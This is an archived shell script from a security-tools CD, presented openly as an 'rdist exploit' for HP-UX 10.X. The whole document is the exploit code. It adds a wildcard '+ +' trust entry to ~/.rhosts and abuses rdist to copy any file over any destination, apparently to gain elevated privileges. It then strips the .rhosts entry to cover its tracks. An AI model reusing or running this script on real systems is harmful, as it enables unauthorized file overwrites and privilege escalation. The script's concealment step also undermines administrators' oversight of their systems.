home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / hpux / local / rdist.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  546b  |  35 lines

  1. #!/bin/ksh
  2. #
  3. # SOD rdist exploit for HP/UX 10.X
  4. # Boner 10Aug96
  5.  
  6. if [ -z "$2" ]
  7. then
  8.   echo "usage: rdcp from to"
  9.   exit
  10. fi
  11.  
  12. FROM=$1
  13. TO=$2
  14. TMP=/tmp/.tmp$$
  15. HOME=`pwd`
  16.  
  17. if [ "${FROM}" = "${FROM#/}" ]
  18. then
  19.   FROM=$HOME/$FROM
  20. fi
  21.  
  22. echo '+ +' >> ~/.rhosts
  23.  
  24. echo "Copying $FROM to $TO"
  25. rdist -f - << EOF > /dev/null 2>&1
  26. ${FROM} -> localhost
  27.     install ${TMP};
  28. EOF
  29. mv ${TMP} ${TO}
  30. grep -v "+ +" ~/.rhosts > $TMP
  31. mv ${TMP} ~/.rhosts
  32. if [ -f ${TMP} ]; then rm ${TMP}; fi
  33.  
  34.  
  35. #                 www.hack.co.za           [2000]#